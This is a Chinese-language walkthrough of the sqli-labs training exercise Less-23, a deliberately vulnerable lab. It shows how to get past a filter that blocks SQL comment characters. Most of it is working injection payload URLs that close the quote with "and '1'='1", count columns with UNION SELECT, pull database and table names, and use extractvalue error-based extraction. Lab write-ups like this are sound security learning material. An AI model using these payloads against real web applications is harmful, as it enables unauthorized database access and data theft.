本关卡是使用 ’ 进行闭合,但是在注释的使用上做了一些限制
先测试下面这两个payload:
http://192.168.2.60/sqli-labs/Less-23?id=1'#
http://192.168.2.60/sqli-labs/Less-23?id=1'--+
若是不对输入进行过滤,上面两个payload均是能够返回正常页面,但是测试后发现上述两个payload均无法返回正常页面
# 与 --均被过滤,本题最大的难题便是无法通过注释来注释掉多余的单引号,总而无法完成注入,使用上面两个payload可能均会报如下错误:
这个时候便需要一个新的解决办法,先看一个新的payload:
http://192.168.2.60/sqli-labs/Less-23?id=1' and '1'='1
该语句便能成功执行,其重点便在于 and ‘1’='1 通过该语句便能够成功处理多余的单引号,从而将其构成一个语法正确的sql语句
但是,我发现使用该种方法,便不能使用 order by 语句来对列的数目进行判断了,即下面这个payload是无效的
http://192.168.2.60/sqli-labs/Less-23?id=1' order by 10 and '1'='1
通过这个payload是无法判断列数的
不过可以使用类似下面这两个payload的样式来对列数进行判断
http://192.168.2.60/sqli-labs/Less-23?id=1' union select 1,2,3 and '1'='1
http://192.168.2.60/sqli-labs/Less-23?id=1' union select 1,2,3,4 and '1'='1
通过上方两个payload便可以确定列数
余下的操作也就没有什么难度了,与平时的操作没有什么大的区别,直接贴上payload
数据库名:
http://192.168.2.60/sqli-labs/Less-23?id=-1' union select 1,database(),3 and '1'='1
表名:
http://192.168.2.60/sqli-labs/Less-23?id=-1' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1),3 and '1'='1
其实这一题我认为使用报错注入更为简单,报错注入可以省去判断列数等步骤,下面贴一个爆数据库名的payload:
http://192.168.2.60/sqli-labs/Less-23?id=-1' and extractvalue(null,concat(0x7e,(database()),0x7e)) and '1'='1
这里报错注入不做主要记录,仅仅是拓展一下思路
若有错误之处,欢迎指正